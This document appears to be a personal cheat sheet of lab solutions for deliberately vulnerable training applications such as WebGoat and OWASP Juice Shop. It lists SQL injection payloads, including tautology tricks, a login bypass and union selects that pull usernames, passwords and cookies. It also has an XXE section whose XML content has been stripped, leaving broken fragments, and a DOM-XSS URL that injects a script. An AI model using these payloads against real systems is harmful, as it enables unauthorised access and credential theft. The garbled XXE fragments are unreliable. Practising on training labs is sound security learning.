### SQLi ### Basic Smith - to show it returns smith's records Smith' or '1'='1 - to show exploit; 1=1 can be any true clause **Bender Login bender@juice-sh.op' -- [2:19 PM] 101 101 or 1=1 Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- Smith' union select all 1, '2' ,user_name,password, 'MC', cookie, 2 from user_system_data -- ## XXE ## Simple - ]>&root; Modern Rest Framework - change content type to: Content-Type: application/xml && ]> &root;test Blind SendFile ... /** * Solution: * * Create DTD: * *

     *     
     *     
     *     ">
     *      %all;
     *

* * This will be reduced to: * *

     *     
     *

* * Wire it all up in the xml send to the server: * *

     *  
     *  
     *  %remote;
     *   ]>
     *  
     *    test&send;
     *  
     *
     *

* */ ###XSS ### 4128 3214 0002 1999 DOM-XSS ... // something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E // or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere